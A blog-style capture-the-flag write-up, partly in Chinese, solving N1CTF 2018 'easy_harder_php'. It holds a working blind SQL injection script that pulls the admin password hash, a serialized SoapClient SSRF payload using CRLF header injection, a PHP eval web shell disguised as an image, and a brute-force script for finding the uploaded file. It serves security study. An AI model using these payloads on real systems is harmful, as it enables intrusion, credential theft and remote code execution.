[N1CTF 2018]easy_harder_php soap_ssrf

0x01 topic Introduction

Scan get the source code directory
Here Insert Picture Description

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;
        }

    }

We must admin login will have to upload function, so finding the point of injection to get admin password
Here Insert Picture Description$ _POST [ 'signature'] no filter is inserted into the database, so we inject here to get the account password from
Here Insert Picture Descriptionhere all the 反引号converted 单引号, so our

payload:

# encoding=utf-8


import  requests
import string
import time

url = 'http://03676d01-b591-4767-84ca-f49d98ea50a8.node3.buuoj.cn/index.php?action=publish'
cookies = {"PHPSESSID": "e949kgjjg7nm1k70ohatg52ac6"}
data = {
	"signature": "",
	"mood": 0
}
table = string.digits + string.lowercase + string.uppercase


def post():
        password = ""
        for i in range(1, 33):
                for j in table:
                    signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))			    #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
                    data["signature"] = signature
			#print(data)
                    try:
                            re = requests.post(url, cookies = cookies, data = data, timeout = 3)
            #print(re.text)
                    except:
                        password += j
                        print(password)
                        break
        print(password)

def main():
	post()

if __name__ == '__main__':
	main()

Injecting get the password md5 code, decrypted
Here Insert Picture Descriptionaccount password is admin, nu1ladmin

But we can not use this login, because he limits must be 127.0.0.1 sign in
Here Insert Picture Descriptionso we have to find ssrf to log admin
Here Insert Picture Description
Here is a deserialized, and $row[2]the data moodwe control, refer to the above injecting ~~

So we can moodinsert in the sequence of the soapclass, then ssrf, here's a brief talk about the process, to facilitate understanding

First, we open two browsers, one for each page, one of the first do not sign in, we used to register another non-admin log in to your account, and then in the publishpage insertion sequence of soapclasses.
Here given a configuration codes soap

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=jRl3';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=e6d3o0c1bh2a119fh01etdi000'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

这儿需要注意两个地方,第一个地方是$post_string中的code参数和PHPSESSID必须和我们另外一个浏览器准备用来登录的admin相对应~~
Here Insert Picture Description然后注入即可
Here Insert Picture Description这个时候还不能刷新另外一个浏览器,因为此时我们只是把数据放在了数据库中,我们还没有触发,我们必须用我们自己的账号刷新一下?action=index的页面,才能触发~~
Here Insert Picture Description此时我们再刷新一下用来登录admin的浏览器就可以登录上了~~
我们之所以反序列化soap类后能登录admin,是因为

$mood = unserialize($row[2]);
$country = $mood->getcountry();

我们知道此时$mood就是一个soap类,所以这个类没有getcountry()方法,此时就会触发soap类的__call()魔法函数就能实现登录了~~

然后我们就能看到上传文件的页面了~~

if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
  • 首先是只能上传图片,而且上传的文件不能有<?php, 这儿可以用<?=<script language='php'>代替
  • 但是最后会执行一段sh命令,我们可以问价包含看看sh文件的内容
    -Here Insert Picture Description
    这儿就需要用到linux的一个小trick了,当我们的文件名是以-开头时这个命令会报错~~
    Here Insert Picture Description所以我们的思路就是上传一个以-开头的图片码,然后再爆破出上传的文件名~~
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';

我们最主要的是获取time()的值,我们可以在上传的瞬间马上点击上传,虽然有一两秒的误差,但是并不影响~~

<?php
date_default_timezone_set("PRC");  ###一定要注意设置这个时区
echo time();
?>

最后我们再写一个脚本爆破一下~~

# -*- coding:utf-8 -*-

import requests
time = 158002449200				#我们上传的time()为1580024492,之所以加两位是后面的rand(1,100),而且我们从0到9999累加,就可以计算出我们的计算时间和上传时间的误差了~~	
url = 'http://c2cae93a-2024-48c4-a4d9-7c6f71d20bcd.node3.buuoj.cn/index.php?action=../../../../app/adminpic/-xx{}.jpg'
for i in range(10000):
    tmp = time + i
    ul = url.format(tmp)
    html = requests.get(ul).status_code
    print(i)    
    if html == 200:
        print(ul)   
        break

这儿说明一下我上传的图片马~

<script language="php"> 
$_POST["xxx"]=str_replace("[","'",$_POST["xxx"]);
$_POST["xxx"]=str_replace("]","'",$_POST["xxx"]);
echo $_POST["xxx"];
eval($_POST["xxx"]);
 </script>

由于题目过了了我们的输入所以,没办法使用引号和单引号,我们用"[",和"]"代替,这样就不会被过滤掉了~

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

Here Insert Picture Description






这道题目还有几个非预期解,但是复现的时候,已经修复好了~~

但是这儿也记录一下~~

1, session.upload turn leads to contain loopholes
2、xdebug

Here Insert Picture DescriptionWhen the X-Forwarded-For address (this is: ricterz.me) 9000 port connection request is received, can determine the Xdebug opened, and opened xdebug.remote_connect_back.

3, / tmp / temporary files competition

To use temporary files of competition, the premise is able to access a page phpinfo ~~



Reference links:
N1CTF easy_harder_php expected solution
N1CTF easy_harder_php solution unintended
official writeup

Published 47 original articles · won praise 2 · Views 3115

Guess you like

Origin blog.csdn.net/a3320315/article/details/104088080